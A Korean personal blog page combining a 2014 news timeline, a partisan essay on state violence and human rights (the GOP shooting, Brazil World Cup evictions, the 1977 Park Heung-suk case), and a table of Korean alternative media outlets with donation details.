*북한 마식령, 김정일 모교인 평양제1중학교 3학년 50여명 탄 관광버스 추락, 전원사망

26일

*경기도 고양시 일산 백석동 고양종합터미널 화재, 8명 사망, 58명 부상

28일

*국무총리 후보자 안대희, 전관예우 논란 등으로 사퇴

*전남 장성군 효사랑요양병원 화재, 21명 사망

*서울 지하철 3호선 도곡역 열차 화재, 승객 전원 대피

29

*일본 정부, 북한의 일본인 납치 문제 재조사 제의 인정. 대북제제 일부 해체 

31일

*고승덕 서울시교육감 후보 장녀(캔디 고), "아버지는 교육감 자격 없다"

6월

2일

*이란 테헤란에서 발생한 모래폭풍으로 4명 사망, 20여명 부상

*시에라리온에서 에볼라 바이러스에 15명 감염, 최소 5명 사망

3일

*이집트 압델 파타 엘시시 전 국방장관, 96% 득표율로 당선
4일*제6회 지방 선거 실시
*G7 정상회담, 벨기에 브뤼셀에서 개최. 17년만에 러시아가 빠진 회담

10일

*박근혜, 국무총리 후보자로 전 중앙일보 주필 문창극 지명
*경기도 고양시 일산서구에 토네이도 발생, 21동의 비닐하우스 피해

11일

*밀양송전탑 반대시위 행정대집행, 경찰2000명, 공무원 200명 동원, 송전탑 4개부지 농성장, 4개 움막 등 총 8개소에 폭력, 위법적 투입. 다수 부상자 발생

12일

*"백설공주 박근혜" 풍자 벽보 팝아티스트 이하, 대법원 무죄 확정

17일

*박근혜, 뉴라이트 박효종 방통심의위 방심위원장 선임

20일

*대한민국 정부, 쌀 시장 개방 공식 선언

21일

*강원도 고성군 동부전선 22사단 GOP에서 임병장 총기난사, 5명 사망, 5명 부상

24일

*국무총리 후보자 문창극, 자진사퇴

26일

*세월호 실종자 가족 헌신적으로 돕던 진도경찰서 A경위 진도대교에서 자살
*북한, 강원도 원산시 북쪽 동해상에서 단거리 미사일 3발 발사

7월

1일

*일본 정부, 헌법 해석을 변경하는 방식으로 "집단적 자위권행사" 공식 인정

4일

*유럽 중앙은행, 기준금리를 현행 0.15%로 동결
*대구 아동 황산테러 사건 피해자의 어머니가 대구지방검찰청에 용의자 상대 고소장 제출. 공소시효 정지
7일

*북한, 인천 아시안게임에 응원단 파견 발표, 한국정부는 이를 수용

10일

*홍명보 축구대표팀 감독, 브라질 월드컵 조별리그 탈락 책임지고 사퇴
14일*북한, 강원도 고성군 비무장지대 북쪽 해상에 방사포 100여발 발사
17일*광주 수완지구 아파트 단지 앞에서 강원본부 소속 119 소방헬기 추락, 5명 사망
*러시아 영토 부근 국경 앞에서 말레이시아 항공 17편 여객기 격추 추락, 전원 사망

22일

*전남 순천시 서면 학구리에서 6월 초에 발견 된 변사체가 청해진해운 유병언(?)

*5:50경 강릉-청량리행 무궁화호 열차와 관광열차 충돌, 1명 사망, 80여명 중경상

23일

*튀니지에서 유럽으로 향하는 난민선에서 집단학살 발생, 110여명 사망
30일*수도권 전철 1호선 구로역 화재 발생. 전동차와 KTX 운행 중단

31일

*전남 여수시 조선 해양소에서 암모니아 가스 누출, 1명 사망, 30여명 부상

*아르헨티나 정부, 13년 만에 채무 불이행 선언

8월

5일

*서울 송파구 석촌동 부근 지하차도에 싱크홀 발생
11일

*통합진보당 이석기, 항소심에서 내란음모 혐의 무죄, 내란 선동과 국가보안법 위반은 유죄 인정. 징역 9년 선고

13일

*브라질 산투스에서 소형항공기 추락, 7명 전원 사망(캄푸스 대선 후보자 포함)

14일

*교황 프란치스코, 대한민국 방문. 18일 명동성당에서 평화와 화해를 위한 미사 봉헌
*북한, 강원도 원산에서 단거리 발사체 5발 발사

18일

*석촌지하차도에서 5개의 싱크홀이 더 발견됨

*배우 송혜교, 3년간 25억원 이상의 세금을 탈루

25일

*부산과 경남 창원에 100mm 넘는 폭우 발생, 9명 사망

27일

*다음과 카카오톡, 합병 계약 체결 승인

*이스라엘과 팔레스타인, 가자지구 사태 장기 휴전 합의

9월

1일

*경기도, 초중고 9시 등교 시행

3일

*그룹 레이디스코드 탑승 차량 빗길 사고로 멤버인 은비, 권리세 사망
5일*우크라이나 정부와 친러 반군 휴전 협정 서명

6일

*북한, 신형 전술미사일 추정 단거리 미사일 3발, 원산 일대의 동해로 발사
10일*애플, 아이폰 6와 아이폰 6 플러스 발표
11일*남해와 동해안에서 적조 피해 발생, 208만 마리의 양식 어류 폐사

16일

*경북 포항시 해병대 교육훈련단 수류탄 폭발 사고로 1명 사망, 2명 부상
18일*서울 강남구 삼성동 한국전력 부지 입찰에 현대자동차그룹 낙찰
19일*스코틀랜드 독립 투표 부결
22일*홍콩, 우산 시위로 다수의 부상자 발생
25일

*공안조작 부림사건(1981) 연루 피고인 중 5명(고호석,설동일,이진걸,최준영 등), 재심에서 무죄 최종 확정(전체 피해자는 19명)

30일

*전남 신안군 홍도 앞바다에서 유람선 좌초. 승객 및 승무원 109명 전원 구조

10월

10일

*경기도 연천군 합수리에서 시민단체가 날린 삐라를 향해 북한이 포격을 가함

14일

*이탈리아 밀라노에서 제10차 아셈정상회의 개막

17일*성남 판교테크노밸리 야외공연장 환풍구 붕괴로 16명 사망, 11명 부상
27일*가수 신해철 사망
30일

*윤일병 사건 1심 재판에서 가해 병사의 폭행치사 혐의 인정, 징역 45년 등 선고

31일

*서울시교육청, 자율형사립고 6곳 지정 취소

11월

7일

*충남 태안군 영목항 앞 해상에서 승객 40명 탄 유람선 표류, 해경에 구조

9일*서울 강남구 개포동 구룡마을에 화재, 1명 사망
10일

*한중 정상회담(박근혜, 시진핑), 한중 자유무역 협정 체결

12일

*유럽우주국, 로제타호를 혜성 67P에 사상 최초로 착륙

13일*2015학년도 대학수학능력시험 
16일

*나폴레옹 이각모자, 오세나 경매소에서 한국인 수집가에 낙찰(188만 4천 유로)

21일*한국 정부와 울진군, 신한울 원자력발전소 15년간의 건설 협상 타결
24일*미국 미주리 주 퍼거슨에서 흑인 봉기 사태 발생
27일*경남 하동군 화개장터에 화재 발생

12월

1일

*사조산업 소속 명태잡이 트롤선 501 오룡호, 러시아 베링해에서 침몰, 60명 중 27명 사망, 26명 실종

5일

*대한항공 KE086편 A380 여객기 이륙지연 사건, 재벌3세이자 조양호 한진그룹회장 장녀 조현아 대한항공 부사장의 항의로 사무장 박창진을 내리게 하여 항공기 출발 지연

10일

*일베 이용 전력이 있는 고등학생, 전북 익산시에서 열린 신은미 토크콘서트에서 황산 담긴 사제폭탄 투척 테러
14일*일본 제47회 중의원 총선거에서 자민당 압도적 승리
15일

*'원전반대그룹(Who am I)' 해커, 한수원 유출 자료 공개(15,18,19,21일에 걸쳐 임직원정보, 시스템도면, 프로그램매뉴얼, 기기 사진 등). 이미 5개월 전인 7월에 pastebin 에 한수원 계정 일부의 ID/PW 공개된 바 있음
*콩고 탕카니아 호수에서 선박 전복, 130여명 사망

16일

*파키스탄 아미 퍼블릭 스쿨에 탈레반이 무차별 총격, 250여명 사상자 발생

18일

*인도, 스리하리코타 우주센터에서 정지궤도위성발사체 발사 성공

19일

*헌법재판소가 법무부의 통합진보당 해산 청구 인정, 통진당 소속 지역구 3명, 비례대표 2명 의원직 박탈

22일

*북한 인터넷망 완전 마비

24일

*서울서부지검, 공보안법상 항공기항로변경죄, 한공기안전운항저해폭행죄와 형법상강요, 업무방해 혐의로 조현아에 대해 사전구속영장 청구, 여모 상무는 구속영장 심사

26일*울산 울주군 서생면 신고리원전 3호기 건설현장에서 가스 누출, 3명 사망. 한수원측은 유가족에게 사과 한 마디 없음.

30일

*한전, 밀양 송전탑반대 농성장-115번철탑 선하지 야외농성장에 13시부로 단전 통보





 


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'자본주의' (EBS 다큐프라임 5부작) 중 마지막 5편 말미의 글귀


지난 2012년 12월에 EBS 다큐프라임에서 자본주의에 대한 5부작을 방영한 적이 있다. 당시는 쥐박이 정권 말기의 어수선한 시기였고, 자본주의의 본질을 파헤쳐 들어가다 보니, 나라 꼴이 이 모양이면 안된다라는 그럴 듯한 결론이 내려 졌었다.독재 1.9를 넘어 2.0이 완성되어가는 이 시점에 과연 지금의 EBS가 이런 목소리를 낼 수 있을지는 의문이다.



본 영상의 마지막 5편 마무리 부분에 나오는 글귀이다.


인도 야무나 공원, 마하트마 간디의 추모공원에는 간디가 말한 "7가지 악덕(惡德)"이 있다.


철학 없는 정치

도덕 없는 경제

노동 없는 부

인격 없는 교육

인간성 없는 과학

윤리 없는 쾌락

헌신 없는 종교


과연 2014년 12월, 지금 시점의 우리 현 상황을 볼 때, 간디가 말한 "7가지 악덕"(七巨之惡?)에 단 하나라도 걸리지 않는 것이 없다는 생각이 드는 건 나 뿐일까? 당시 EBS다큐프라임 제작자가 마지막에 강조하는 문구는 이렇다. 국가를 망하게 하는 첫 번째는 "철학 없는 정치"이다


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잘못된 국가시스템에 의해 짓밟힌 인권들, 결국 상하는 건 사람이다


2014년 6월 어느 날, 죽는 이유도 모른 채 동료 병사에게 죽어간 이름 없는 대한민국 병사들을 우리는 기억해야 합니다. 누군가의 즐거움을 위해 삶의 터전을 뺏겨 변두리로 쫒겨나고, 살 수 있게 해달라며 발버둥치다 허망하게 스러져가는 도시 빈민들의 아픔을 기억해야 합니다. 치열하게 상식적으로 살려고 발버둥치다 불의의 살인을 저지른 한 젊은이가 왜 그럴 수 밖에 없었는지를 꼭 기억해야 합니다.


[사건A-강원도 GOP총기난사 사건]


지난 2014년 6월21일 8시 15분경, 강원도 동부전선 GOP에서 제대를 3개월 남긴 병장의 총기난사로 같은 부대원 5명이 사망하고 7명이 부상당하는 사건이 일어났다. 범인 임모 병장은 도주 이틀 후인 23일 오후까지 3500여명의 병력이 동원된 수색작업 끝에 자살을 기도했으나 생포되었다. 임병장에 의해 죽임을 당한 피해 병사의 아버님이 하신 말이 있다. "임병장도 피해자일지 모른다"


주목할 만한 점은, 현재 경위에 대해 수사가 진행중이지만 사건 발생 직후 총에 맞은 3명이 적절한 지혈이 되지 못해서 결국 출혈과다로 사망한 것이다. 대한민국에서 '공' 자가 들어간 직업군들에게 위기대처능력과 창의성 같은 기대를 하지 못하는 서글픈 현실이다. 세월호 사건의 관/군의 미흡한 초동 대처능력이 선량한 시민을 죽음으로 몰고간 것과 흡사하지 않은가?


사건 발생의 원인은? 잘못된 '똥군기문화' 와 사람을 보호하고 생각하지 않는 몰인권적 실적위주의 군대 시스템과 잘못된 국가의 정책 기조이다. 단적인 예로 '관심병사' 제도는 글자 그대로 "이 사람은 요주의 인물" 이라는 공개된 낙인으로 작용하게 되며, 결국 주변인과 당사자에게도 부자연스러운 상황이 연출될 수 밖에 없기 때문에 사람을 보호하기 위한 제도가 아닌 것이다.



[사건B-월드컵 난민과 민간인들의 죽음, 그리고 올림픽 난민]


2014년 브라질월드컵. 경기장 건설공사 무리한 일정 맞추느라 몇 달 걸러 인부 9명 사망한 나라 브라질 이야기다. 전 세계인들의 즐거움을 위해 20만의 집 잃은 '월드컵 난민' 이 거리로 나 앉게 되는 월드컵.


월드컵은 엄청난 경제효과에도 불구하고 FIFA와 다국적 대기업들만 배불리는 돈잔치 중 하나일 뿐이다. 올림픽과 월드컵이 열리던 바르셀로나(1992년, 스페인), 애틀랜타(1996년, 미국), 아테네(2004년, 그리스), 베이징(2008년, 중국) 때도 그랬다. 물론 2014년 현재, 인권이 없는 나라 브라질과 1988년 한국 서울의 72만명의 '올림픽 난민' 상황은 그대로 연결된다.


2014년 브라질, 빈민을 위한 정치/경제는 없다


피파월드컵을 풍자하는 거리의 그림, 그 앞을 지나가는 어린 아이의 천진난만함이 대비된다


군인들에 의해 밀려 쫒겨가는 빈민 천막촌의 아낙네. 이것이 비단 지구촌 멀리 남의 나라 일이기만 할까?



<참고>브라질월드컵의 빈민가 학살 사진이라고 잘못 알려진 사진1(시리아 내전 자료 사진이라고 알려짐)



<참고>브라질월드컵의 빈민가 학살 사진이라고 잘못 알려진 사진2(시리아 내전 자료 사진이라고 알려짐)



동영상은 브라질 정부가 용인한 사설 경비업체(과거 한국의 백골단 같은 공인된 깡패용역집단)의 잔인한 인권탄압과 민간인, 기자들 대상으로 하는 공격 상황을 그대로 보여 준다.



월드컵에 대비한 도시정비를 명목으로 민간 경비업체(미국 용병업체 '아카데미', 이라크 민간인 학살로 유명한 블랙워터의 후신)와 군경을 동원하여 탄압을 일삼아온 브라질 정부. 노동자 출신 룰라도 결국 신자유주의 노선을 채택하며 경제발전에만 몰입하여 망국의 시대로 이끌고 있다.


지난 6월 월드컵이 본격 개막되는 시기에는 군 병력 20만이 브라질 전역에 배치되고 27만개의 충격탄과 주요 거점에는 장갑차가 배치됐었다. 작년 6월의 버스비 인상을 계기로 터져나온 대중시위 이후로 심각한 국가 폭력이 자행되어 왔으며 월드컵을 계기로 절정에 이르렀다 한다(☞  뉴스참 기사 참조).


<뉴스참 기사 일부 발췌>

...


이러한 대테러법으로 정부는 무엇보다 ‘마피파(마피아와 피파의 합성어)’의 월드컵에 맞선 집회와 시위를 단속하고 있다. 


그 동안 수많은 활동가와 시위 참여자들이 연행됐으며 일부는 강력 범죄로 기소되고 있다.일례로 노숙인인 라파엘 프라가는 시위 중 살균제 1병과 표백제 1병을 소지하고 있었다는 이유로 징역 5년형을 받았다. 지난 2월 시위 중 사고로 인해 사망한 카메라맨의 죽음에 책임이 있다는 이유로 시위에 참여한 한 사람은 30년형을 언도받을 예정이다. 테러 혐의를 이유로 수감된 활동가는 20일 동안 잦은 구타와 햇빛을 볼 수 없는 고문을 당하기도 했다. 


상파울루, 리우데자네이루 등 각 주정부는 한발 더 나아가 월드컵 시작 전 ‘범행 모의’를 이유로 활동가들을 사전 검거하고 있다. 11일에도 리우데자네이루 당국은 활동가 4명을 사전 구속했다.


[출처: http://revolution-news.com/]


‘마약과의 전쟁’ 구호 아래 빈민가 진압...2년 간 약 2천명 사망


뿐만 아니라 브라질 군경은 ‘마약과의 전쟁’이라는 구호 아래 전국 10여 개의 빈민지역에 대한 ‘점령 작전’을 벌이고 있다.


외신에 따르면, 리우데자네이루 빈민가 ‘마레’의 15개 지역에 사는 13만명은 군사점령 아래 생활한다. 지난 3월 21개 장갑차로 무장한 해군이 첫 번째로 진압에 나섰으며 이후 대테러부대(BOPE) 1,200명의 특공대가 합류했다. 15개 지역 중 뉴홀란드와 유니온팍 2개 지역에서 경찰은 ‘집단체포영장’을 허가받아 어떤 가택이든 진입할 수 있으며 누구라도 체포할 수 있다. 정부는 ‘마약과의 전쟁’이라는 구호 아래 모든 주민을 '범죄자'로 간주하고 있다. 군은 다른 도시에서도 그랬던 것처럼 상시적인 초소를 배치했다. 


그러나 브라질에서 가장 가난한 지역의 대부분은 마약과는 아무 관련이 없다. 이미 브라질 마약왕 마르셀로 산토스는 검거됐고 주요 마약 조직을 소탕한 상황이다. 이 때문에 다수의 사람들은 군대가 빈민지역을 진압하고 점령한 이유는 빈익빈 부익부를 초래하는 도시 개발에 맞선 빈민지역의 자기 조직적인 투쟁을 사전 제압하기 위한 것이라고 보고 있다.


특히 그 동안 빈민지역에 대한 정부의 진압은 큰 희생자를 낳아 큰 비판을 받고 있다. 미국 주간지 <더 위크>는 7일 브라질 정부의 공식기록을 인용, 2012년부터 ‘마약과의 전쟁’으로 1,890명이 사망했다고 보도한 바 있다. 


이러한 브라질 정부의 빈민지역과 시위 진압은 이라크 민간인 학살로 악명 높은 ‘블랙워터’의 후신 ‘아카데미’가 깊숙이 개입돼 있다. 

...


또한, 스포츠의 상업화 붐을 탄 경제적 효과와 함께 국민의 눈과 귀를 막으려는 독재자들이 스포츠에 열광하는 이유다. 이것도 결국 사람이 먼저가 아닌, 신자유주의 기조에 편승하여 오직 경제발전 만을 추구한 잘못된 국가 시스템과 정책 기조 때문이다.



[사건C-1977년 무등산 타잔 박흥숙 사건]


대한민국의 1970년대는 정부의 시책으로 인한 철거민 사건이 즐비하다. 박정희 독재정권 시절의 새마을운동, 왜곡된 지역주의와 근대화를 위한 무리한 경제 정책들 때문이다. 실제로 70년대에 발생한 일부의 철거민 관련 사건들이 아래에 나열된다.


1970.3. 성산동 철거민 100여명 서울 시청 농성(철거 대책 요구)

1970.4. 와우아파트 거주민 40명 옥상 농성(철거 보상 요구)

1970.9. 동대문구 창신동 무허가 판잣집 철거민 400여명 철야 농성

1970.11. 영등포구 사당동 판자촌 거주민 1000여명 철거반원/기동경찰과 투석전

1971.8. 8.10 광주대단지 사건

1971. 8. 인천 부평 공설시장 노점상 500여명 격렬한 시위

1971. 연희동 아파트 주민 청계천변 농성, 실로암 교회와 송정동 주민 시위(전투경찰 1천여명 출동)

1971.10. 천안 완촌동 빈민, 무허가 건물 강제철거 사후대책 요구 농성

1974. 실로암 교회, 활빈 교회와 송정동 주민 시위

1975.5. 동대문구 답십리동 무허가 판자촌 주민 철거 시위(52명 연행)

1976.5. 면목5동 철거민 시위

1977. 영동 철거민 사건.

...


<출처: 1970년대 도시하층민의 범죄와 정치, 김원, 한국학중앙연구원 사회과학부>


이제 '무등산타잔 박흥숙 사건'에 대해 사실관계의 요점만 짚어 보도록 하자. 블로그의 성격상 긴 글 전체를 게재하기에는 적합하지 않기 때문인데, 사건 전말의 출처에 해당하는 두 건의 조사 논문의 원문을 아래에 따로 링크를 걸어둘 예정이다(원저작자의 의도에 의해 본 글에서 다운로드 링크는 걸지 않음. 구글링 등으로 검색하시거나 댓글로 별도 요청 주세요).


박흥숙은 누구인가?


1954년생인 무등산타잔 박흥숙은 1980년, 27세의 짧은 생을 사형으로 마감당한다. 일명 박정렬이라고도 알려져 있으며 평범한 도시 빈민이었다. 사건이 일어나던 해 1977년의 상황을 보기 전에, 우선 그가 어떤 삶을 살아 왔는지를 알아야 한다.


그는 전남 영광군의 가난한 농부의 둘째 아들로 태어 났으며 당시 아버지는 폐결핵을 앓고 있었고 어머니는 구멍가게를 하며 살림을 어렵게 이어 나갔다. 그가 초등학교 6학년 때아버지는 돌아가셨으며 이듬해에 형도 세상을 떠났다. 남은 식구는 그와 어머니, 여동생, 그리고 남동생 둘이었다.


그는 초등학교 시절 항상 1,2 등을 놓치지 않을 정도로 머리가 비상했으며, 나이에 비해 성숙하고 자립심이 강한 아이로 기록되어 있다. 부친의 사망 뒤 가난을 이기지 못하고 가족은 무등산으로 옮겨 무허가 움막 생활을 하고, 박흥숙은 군서 지역에 남아서 학업을 이어가기로 했고, 원불교 재단의 도움으로 영광중학교에 수석으로 입학하였다.


한 때 육사지망생이었던 그는 가난을 견디다 못해 학교를 그만두고 점원이나 열쇠수리공으로, 여동생은 시내 가정부로, 모친은 절간의 식모살이를 하며 연명하다 무등산으로 들어가 가족과 함께 살기로 결심하고 자신의 손으로 무허가 움막을 짓고 어머니에게 바친다. 그는 이 움막에서 공부하여 중학교 검정고시를 합격하고, 1977년 당시에는 고등학교 검정고시와 고시를 준비하고 있었다.


박흥숙이 무등산에서 지내면서 찍은 사진. 이런 사진 몇 장으로 언론은 그를 '무등산타잔', '무등산수호신', '18기 창시자' 라며 폭력을 즐기는 괴물로 만들어 버렸다. 이 글을 보는 남자분들, 생각해 보시라. 10-20대 팔팔한 나이에 사진 찍으며, 또는 거울 앞에서 이 정도 폼 한 번씩 안 잡아본 본 분 있습니까?



무등산 국립공원 지정과 정부 철거 정책


사건 당일인 1977년 4월 20일, 박흥숙이 거주하던 광주시 동구 운림동 산 145번지 중심사 계곡, 덕산골(정식 명칭은 운림부락, 속칭 무당골 또는 무당촌)에 광주시 동구청 소속 철거반원 7명이 당도한다. 무등산 국립공원 지정과 함께, 정부의 도시계획이 박차를 가하고 있던 시점이라, 이 전에 수차례 계고장이 발부되었고, 이제 덕산골의 모든 무허가 건물을 실제로 철거하기 위해 온 것이다. 결정적으로, 철거민들을 위한 제대로 된 이주 대책도 없이, 전국체전이 열리는 시점에, 단지 박정희가 도립공원으로 지정된 무등산에 올지도 모른다는 예상 하나로 말이다.


당시 철거반원들은 타 지역에서의 무허가 주택 철거나 노점상 철거 작업에서와 마찬가지로, 다시는 발을 붙이지 못하도록 무허가주택들을 "쓸어버리도록" 지시 받았던 것이다(당시 이 철거반원들을 세인들은 '망치부대'라고 불렀다). 하지만 박흥숙은, 철거반원들이 들이닥치자 상황을 받아들이는 듯이, 흥분한 어머니를 다독이는 등 차분하게 대응했고 집 안의 세간을 꺼내는데도 협조했다고 한다.


사태가 걷잡을 수 없게 흐르게 된 결정적인 계기는 철거반원이 집에 불을 지르려고 하자, 천정에 돈 30만원을 숨겨 둔 어머니가 뛰어들려다가 철거반원이 이를 제지하기 위해 밀쳐내자 실신하는 장면에서인 듯 하다. 철거작업에 계속 순응하였던 박흥숙은 이 때부터 철거반원들을 위협하고 노끈으로 묶어, 집 근처 산등성이 쪽에 공부방을 짓기 위해 파 놓은 구덩이에 몰아 넣는다.


이 때까지도 그는 철거반원들을 죽일 생각은 없었던 것 같다. 아마도 철거반원들은, 장정 여러명이 키 작은 젊은이에게 포박당한 상황을 우습게 봤는지도 모른다. 몇 번의 실랑이 끝에 어느 순간엔가 살기를 품기 시작한 박흥숙은, 철거용 망치로 4명을 죽이고 1명은 중상을 입히게 된다. 사건의 실제 내용은 여기서 끝나지만, 이후에 이 나라의 조잡한 언론과 권력이 어떻게 이 사건을 호도해 나갔는지를 보면 한숨이 절로 나온다.


진실을 외면하고 발행부수에만 몰두하는 가짜 언론은 그 자체가 폭력이다 


찢어지는 가난을 딛고 열심히 공부해서 뭔가를 이루어 보리라던, 효성이 지극하고 온순하며 성실하지만 혈기 넘치는 젊은이를, 이 나라의 언론들은 '무등산타잔 박흥숙' 이라는 괴물로 포장한다. 또 사건이 일어났던 덕산골은, 사이비 종교가 횡행하는 '무당촌' 이라는 이름으로 부각되고 사건은 호도되기 시작한다.


즉, 무등산을 타잔처럼 날아 다니는 무술 유단자, 폭력을 즐기는 깡패 같은 박흥숙이 되어 버렸고, 덕산골은 이 세상에서 지탄의 대상이 되는, 없어져야 할 사이비 종교활동과 범죄의 온상이 되어 버린 것이다(예로부터 덕산골은, 근처의 무당들이 굿 하는 장소로 계곡을 자주 이용해 왔었다고 한다).


이런 사실 호도 과정의 시초는 당시의 '전남매일신문'의 1977년 4월 21의 기사이다. 지방의 이름 없는 일간지에서 해당 지역의 엽기적 사건으로 대서특필하며 짭짤한 재미를 보게 되는 것이다. '전남매일신문'은 사실 관계 확인도 없는 소문과 심지어 소설로 날조까지 서슴치 않았다. 예를 들어 "박흥숙의 어머니는 반 무당"이며 "박흥숙은 무당촌의 실력자, 광주 시내에 집이 3채" 라는 등. 중앙의 유력지들과 잡지들도 이에 질세라 호도된 사실을 퍼다 나르고 세인의 주목을 받기위해 혈안이 된다.  대다수의 유력 일간지들(경향신문, 한국일보, 중앙일보 등)과 '아리랑' 같은 잡지가 그들이다.


결국 우여곡절 끝에 박흥숙은 자수를 하게 되지만(사실, 아이러니하게도 그는 의심스러운 간첩 혐의자를 신고하기 위해 안기부에 연락을 했고, 이 과정에서 자수를 하게 된다), 당시에는 검거된 것으로 알려져 있었다. 사건이 있은 후, 3년간의 시간 동안 그를 구하기 위한 구명위원회가 백방으로 활동하였지만 결국 사형이 확정되고, 1980년 12월 24일에 박흥숙은 형장의 이슬로 사라졌다.


자, 이 사건에 숨은 진정한 문제는 무엇일까? 그 원인의 가장 깊숙한 바닥에는 박정희의 경제개발정책이 깔려 있다. 경제개발이 잘못된 것을 말함은 물론 아니다. 브라질이나 대한민국의 신자유주의에 내재된 공통점은 '인간중심' 이 아니라 경제 지표 중심, 외형적 성장만을 추구하는 것이고, 그 당연한 결과로 거대기업에게 혜택이 크게 돌아가는 것은 말할 것도 없으며, 그에 따라 국가의 외형적 성장은 돋보이지만, 대다수의 평범한 시민이나 하층민들은 상위 기득권들, 수구 정치권 또는 거대기업의 착취와 탄압의 대상이 된다는 점을 외면하거나 잊으면 안된다.


[참고] 2014년 12월 업데이트(관련 기사)

한겨레신문: ‘무등산 타잔 박흥숙’ 34년만에 진혼제 연다

한국일보: [지평선] ‘무등산 타잔’ 박흥숙

광주드림: 내가 기억하는 ‘무등산 타잔, 박흥숙’


[참고] 2015년 10월 업데이트(팟캐스트 링크)

이작가, 이박사, 세작의 이이제이: 박흥숙 특집


사건 A, B와 C 에서 우리는 무엇을 보고 느껴야 하는가? 국가와 기업의 동반 성장, 참 좋은 말이다. 하지만 그 국가나 기업의 구성원은 결국 대다수의 사람이고, 국민이다. 결국 사람이 없는, 인권을 중요시 하지 않는 정책과 경제개발은 극히 일부의 상위권들만 배부르게 만들고, 또 다시 그들을 특권 계층으로 치켜세워주고 상위와 하위의 격차만 커지게 되는 악순환만이 반복된다는 사실을 아는 것이 매우 중요하다는 것이다.


"사람이 먼저" 이지 않은 나라, 경제와 상명하복만 중요시 하는 잘못된 국가시스템과 인재상, 돈만 중요한 신자유주의, 독재자의 딸이 아버지의 DNA를 이어 받아 3년 째 독재자 흉내를 내고 있는 2014년 대한민국의 민낯을 보며 ...




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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들



대한 민국의 메이저 언론사는 모두 죽었습니다. 이명박 정부부터 시작된 언론사의 연이은 사망은, 거의 6년 만에 게임 종료 직전입니다. 공중파 공영방송 KBS, MBC, 민영방송 SBS, 대형 신문사로는 조선일보, 중앙일보, 동아일보, 통신사로는 연합뉴스(뉴스와이), 종합편성 방송 TV조선, JTBC, 채널A, 뉴스 전문 채널로 YTN, MBN 등... 죽은 언론 목록입니다.


그 외의 문화일보, 뉴데일리, 데일리안, 올인코리아, 뉴스앤뉴스, 독립신문, 미디어워치, 브레이크뉴스, 미래한국, 시대정신 등 같은, 언론으로 분류하기도 민망한 것들도 다수 존재합니다만 ...


그러고 보니, 유구한 역사를 자랑하는 '이미 죽은 좀비' 들도 몇 몇 보입니다. 어쨌든,


언론이 죽었다는 것은, 권력이나 거대 자본의 눈치를 보지 않는, 공정하고 합리적인 균형 있는 보도를 하지 못한다는 것이겠지요. 이들의 기자정신은 언제쯤 되돌아 올 수 있게 될까요?


메이저 언론사 중에서는 유일하게, 중앙일보 계열의 종편 채널인 JTBC의 경우, 그나마 보도부문 사장인 손석희씨가 진행하는 <뉴스9> 으로 인해, 그런대로 생존하고 있다고 보이는 언론사가 되겠습니다. 또, 라디오 방송사로 CBS 방송, 신문사로 경향신문, 한겨레, 한국일보 까지가 볼 만한 정도입니다. 참담해 해야 할지, 그나마 안심해야 할지 모르겠습니다.


2014년 현재, 살아 있는 언론은 대안언론과 팟캐스트 방송 뿐


특이하게도  우리 나라는 규모에 맞지 않게 기형적으로 대안언론과 팟캐스트 방송이 발달해 있습니다. 국민에게 올바른 정보를 제공해야 할 메이저 언론사들이 죽었기 때문이겠지요. 진실을 알리고자 하는 기자들의 정신과 진실을 알고자 하는 시민들의 관심이 자연스럽게 다른 쪽으로 몰리는 기현상입니다.


2014년 1월 10일 현재 기준으로 인터넷 언론매체는 950여개 가량이 존재합니다(메이저 신문사 포함). 이 중에는 아래의 매체등과 함께 각 지역 신문, 문화, 종교 등의 특정 영역에 국한된 내용을 다루는 신문사등도 포함되어 있습니다(☞중앙선거관리위원회 인터넷언론사 현황 참조).


이번 포스팅에서는, 살아 있는 대안 언론들의 창간 시기와 기부 정보를 아래에 표 형태로 정리해서 알리고, 지속적으로 관리하고자 합니다. 뉴스타파와 같은 곳은 철저한 공정성과 중립을 지키기 위해 일체의 광고를 배제하고 오직 기부에 의해서만 운영되는 곳으로 유명합니다(☞탐사보도 관련 포스팅 - '뉴스타파를 알립니다' 참고).


인터넷 대안언론 정보 - 이들이 대한민국의 정론


이들 대안 언론들의 공통점은 민주 개혁 성향의 진보 매체로, 자본과 권력으로부터의 독립적 성격을 고수하는 것입니다. 결국 이런 소규모 대안 언론들이 민족의 정론이 되었다는 점에서 '언론의 역전 현상'이라고 볼 수 있습니다.


 매체명(또는 제호)

 창간일

접근 경로 

특징, 기부/후원 정보 

 미디어오늘

 1999년 1월

 mediatoday.co.kr

 (기사 개시일 기준)

유료회원, 일반후원

 오마이뉴스

 2000년 2월

 ohmynews.com, 팟캐스트 등

 10만인클럽 정기후원, 일시후원

 뉴시스

 2001년 9월 newsis.com (통신사)
 프레시안 2001년 9월 pressian.com

 (언론 협동조합) 조합원, 후원회원

 에이블뉴스 2002년 12월 ablenews.co.kr

 (장애인 신문) 정기구독, 일시후원

 노컷뉴스 2003년 11월 nocutnews.co.kr, 팟캐스트 등 (미디어네트워크 제휴사) CBS 등
 대자보 2004년 7월 jabo.co.kr

 (1999.1.23 피씨통신 논객 주도 창간) 

후원한마당(일시후원)

 민중의소리

 2005년 11월 vop.co.kr, 팟캐스트, 유튜브 등 (MJ미디어그룹) 정기후원
 미디어몽구 2005년 12월 mongu.net

 (블로거, 1인매체) 정기후원, 일시후원

 뷰스앤뉴스 2006년 2월 viewsnnews.com 
 시사인 2007년 8월 sisainlive.com

 (2007년 시사저널 제명 후 발간) 정기구독

 미디어스 2007년 10월 mediaus.co.kr 
 팩트TV

 2007년 12월

 facttv.kr, 팟캐스트, 유튜브 등

 정기후원, 일반후원, 수익형엔젤펀드 가입

 아이엠피터 2008년 1월 impeter.tistory.com

 (블로거, 1인매체, 개설일?) 후원

 위키트리

 2009년 11월 wikitree.co.kr

 (소셜뉴스, 1만1천8백 여명의 기자단, 200여명의 일인미디어(OPM) 데스크)

 뉴스1 코리아 2011년 5월 news1.kr

 (통신사, 머니투데이미디어그룹)

 고발뉴스 2012년 11월 gobalnews.com, 팟캐스트, 유튜브 등 (상호:발뉴스) 정기구독

 뉴스타파

 2012년 1월

 newstapa.org, 팟캐스트,유튜브,TV팟,Vimeo,안드로이드앱 

 (탐사보도전문미디어) 정기후원, 일시후원, 해외후원
 국민TV 2013년 4월

 kukmin.tv, 팟캐스트, 유튜브 등

 (미디어협동조합) 조합원 가입


